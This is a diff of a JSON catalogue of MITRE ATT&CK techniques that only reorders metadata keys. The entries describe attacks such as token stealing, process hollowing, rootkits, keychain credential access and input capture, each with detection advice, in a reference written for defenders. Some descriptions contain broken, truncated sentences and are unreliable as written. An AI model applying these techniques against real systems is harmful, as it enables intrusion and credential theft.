"description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention",
- "value": "Communication Through Removable Media",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Data loss prevention"
],
- "uuid": "64196062-5210-42c3-9a02-563a0d1797ef",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1092"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -127,12 +128,16 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1092"
+ ],
+ "uuid": "64196062-5210-42c3-9a02-563a0d1797ef"
+ },
+ "value": "Communication Through Removable Media"
},
{
"description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. [[Citation: Microsoft runas]]\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.[[Citation: Pentestlab Token Manipulation]]\n\nAdversaries can also create spoofed access tokens if they know the credentials of a user. Any standard user can use the runas command, and the Windows API functions, to do this; it does not require access to an administrator account.\n\nLastly, an adversary can use a spoofed token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nMetasploit’s Meterpreter payload allows arbitrary token stealing and uses token stealing to escalate privileges. [[Citation: Metasploit access token]] The Cobalt Strike beacon payload allows arbitrary token stealing and can also create tokens. [[Citation: Cobalt Strike Access Token]]\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.[[Citation: Microsoft Command-line Logging]]\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser[[Citation: Microsoft LogonUser]], DuplicateTokenEx[[Citation: Microsoft DuplicateTokenEx]], and ImpersonateLoggedOnUser[[Citation: Microsoft ImpersonateLoggedOnUser]]). Please see the referenced Windows API pages for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nEffective Permissions: SYSTEM\n\nContributors: Tom Ueltschi @c_APT_ure",
- "value": "Access Token Manipulation",
"meta": {
"mitre_platforms": [
"Windows Server 2003",
@@ -148,7 +153,6 @@
"Windows 8.1",
"Windows 10"
],
- "uuid": "a611377b-ff2b-450c-b065-19026fa63488",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1134",
"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
@@ -159,12 +163,13 @@
"https://pentestlab.blog/2017/04/03/token-manipulation/",
"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"
- ]
- }
+ ],
+ "uuid": "a611377b-ff2b-450c-b065-19026fa63488"
+ },
+ "value": "Access Token Manipulation"
},
{
"description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring",
- "value": "Custom Command and Control Protocol",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -172,11 +177,6 @@
"Process use of network",
"Process monitoring"
],
- "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1094",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -193,53 +193,53 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1094",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00"
+ },
+ "value": "Custom Command and Control Protocol"
},
{
"description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.[[Citation: Mozilla Firefox Installer DLL Hijack]][[Citation: Seclists Kanthak 7zip Installer]]\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to [[Discovery]] or other adversary techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Services, Process command-line parameters\n\nEffective Permissions: SYSTEM, User, Administrator\n\nContributors: Stefan Kanthak",
- "value": "File System Permissions Weakness",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Services",
"Process command-line parameters"
],
- "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1044",
"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
"http://seclists.org/fulldisclosure/2015/Dec/34"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a"
+ },
+ "value": "File System Permissions Weakness"
},
{
"description": "Process hollowing occurs when a process is created in a suspended state and the process's memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different.DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process.\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, API monitoring",
- "value": "Process Hollowing",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"API monitoring"
],
- "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1093",
- "http://www.autosectools.com/process-hollowing.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -253,19 +253,40 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1093",
+ "http://www.autosectools.com/process-hollowing.pdf"
+ ],
+ "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21"
+ },
+ "value": "Process Hollowing"
},
{
"description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit[[Citation: Metasploit]], Veil[[Citation: Veil]], and PowerSploit[[Citation: Powersploit]] are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell.[[Citation: Alperovitch 2014]]\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [[Discovery]], [[Collection]], or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters",
- "value": "Scripting",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"File monitoring",
"Process command-line parameters"
],
- "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10",
+ "Linux",
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1064",
"http://www.metasploit.com",
@@ -273,38 +294,18 @@
"https://www.veil-framework.com/framework/",
"https://github.com/mattifestation/PowerSploit"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10",
- "Linux",
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44"
+ },
+ "value": "Scripting"
},
{
"description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Data from Removable Media",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1025"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -321,17 +322,36 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1025"
+ ],
+ "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec"
+ },
+ "value": "Data from Removable Media"
},
{
"description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.[[Citation: Wikipedia Code Signing]] However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries[[Citation: Janicab]]. The certificates used during an operation may be created, forged, or stolen by the adversary.[[Citation: Securelist Digital Certificates]][[Citation: Symantec Digital Certificates]]\n\nCode signing to verify software on first run can be used on modern Windows and MacOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform.[[Citation: Wikipedia Code Signing]]\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Binary file metadata",
- "value": "Code Signing",
"meta": {
"mitre_data_sources": [
"Binary file metadata"
],
- "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10",
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1116",
"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
@@ -339,56 +359,36 @@
"http://www.thesafemac.com/new-signed-malware-called-janicab/",
"https://en.wikipedia.org/wiki/Code%20signing"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10",
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d"
+ },
+ "value": "Code Signing"
},
{
"description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window [[Citation: Antiquated Mac Malware]].\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring",
- "value": "Hidden Window",
"meta": {
"mitre_data_sources": [
"File monitoring"
],
- "uuid": "52619537-a5c4-4b7b-aac0-6f214d0dfeba",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1143",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "52619537-a5c4-4b7b-aac0-6f214d0dfeba"
+ },
+ "value": "Hidden Window"
},
{
"description": "Rootkits are programs that hide the existence of malware by intercepting and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.[[Citation: Wikipedia Rootkit]]\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.[[Citation: Wikipedia Rootkit]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: BIOS, MBR, System calls",
- "value": "Rootkit",
"meta": {
"mitre_data_sources": [
"BIOS",
"MBR",
"System calls"
],
- "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1014",
- "https://en.wikipedia.org/wiki/Rootkit"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -402,42 +402,42 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1014",
+ "https://en.wikipedia.org/wiki/Rootkit"
+ ],
+ "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b"
+ },
+ "value": "Rootkit"
},
{
"description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items[[Citation: Startup Items]]. This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism[[Citation: Methods of Mac Malware Persistence]]. Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root",
- "value": "Startup Items",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
],
- "uuid": "c3dc8707-c1cd-4ce0-add5-5302670770b3",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1165",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "c3dc8707-c1cd-4ce0-add5-5302670770b3"
+ },
+ "value": "Startup Items"
},
{
"description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms.cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters",
- "value": "Command-Line Interface",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1059",
- "https://en.wikipedia.org/wiki/Command-line%20interface"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -454,22 +454,22 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1059",
+ "https://en.wikipedia.org/wiki/Command-line%20interface"
+ ],
+ "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830"
+ },
+ "value": "Command-Line Interface"
},
{
"description": "Data exfiltration is performed over the [[Command and Control]] channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring",
- "value": "Exfiltration Over Command and Control Channel",
"meta": {
"mitre_data_sources": [
"User interface",
"Process monitoring"
],
- "uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1041",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -486,12 +486,17 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1041",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "92d7da27-2d91-488e-a00c-059dc162766d"
+ },
+ "value": "Exfiltration Over Command and Control Channel"
},
{
"description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from [[Discovery]] of the system and network information or [[Lateral Movement]] to the originating process may also yield useful data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network",
- "value": "Multi-Stage Channels",
"meta": {
"mitre_data_sources": [
"Netflow/Enclave netflow",
@@ -500,10 +505,6 @@
"Packet capture",
"Process use of network"
],
- "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1104"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -520,32 +521,36 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1104"
+ ],
+ "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91"
+ },
+ "value": "Multi-Stage Channels"
},
{
"description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/.[[Citation: Wikipedia keychain]] The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.[[Citation: External to DA, the OS X Way]] By default, the passphrase for the keychain is the user’s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: MacOS, OS X\n\nData Sources: System calls, Process Monitoring",
- "value": "Keychain",
"meta": {
"mitre_data_sources": [
"System calls",
"Process Monitoring"
],
- "uuid": "38cfae40-42c8-431e-8cb7-0f14b2ce0e86",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1142",
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"https://en.wikipedia.org/wiki/Keychain%20(software)"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "38cfae40-42c8-431e-8cb7-0f14b2ce0e86"
+ },
+ "value": "Keychain"
},
{
"description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
- "value": "Input Capture",
"meta": {
"mitre_data_sources": [
"Windows Registry",
@@ -553,12 +558,6 @@
"Process monitoring",
"API monitoring"
],
- "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1056",
- "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
- "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -575,24 +574,23 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1056",
+ "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
+ "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
+ ],
+ "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2"
+ },
+ "value": "Input Capture"
},
{
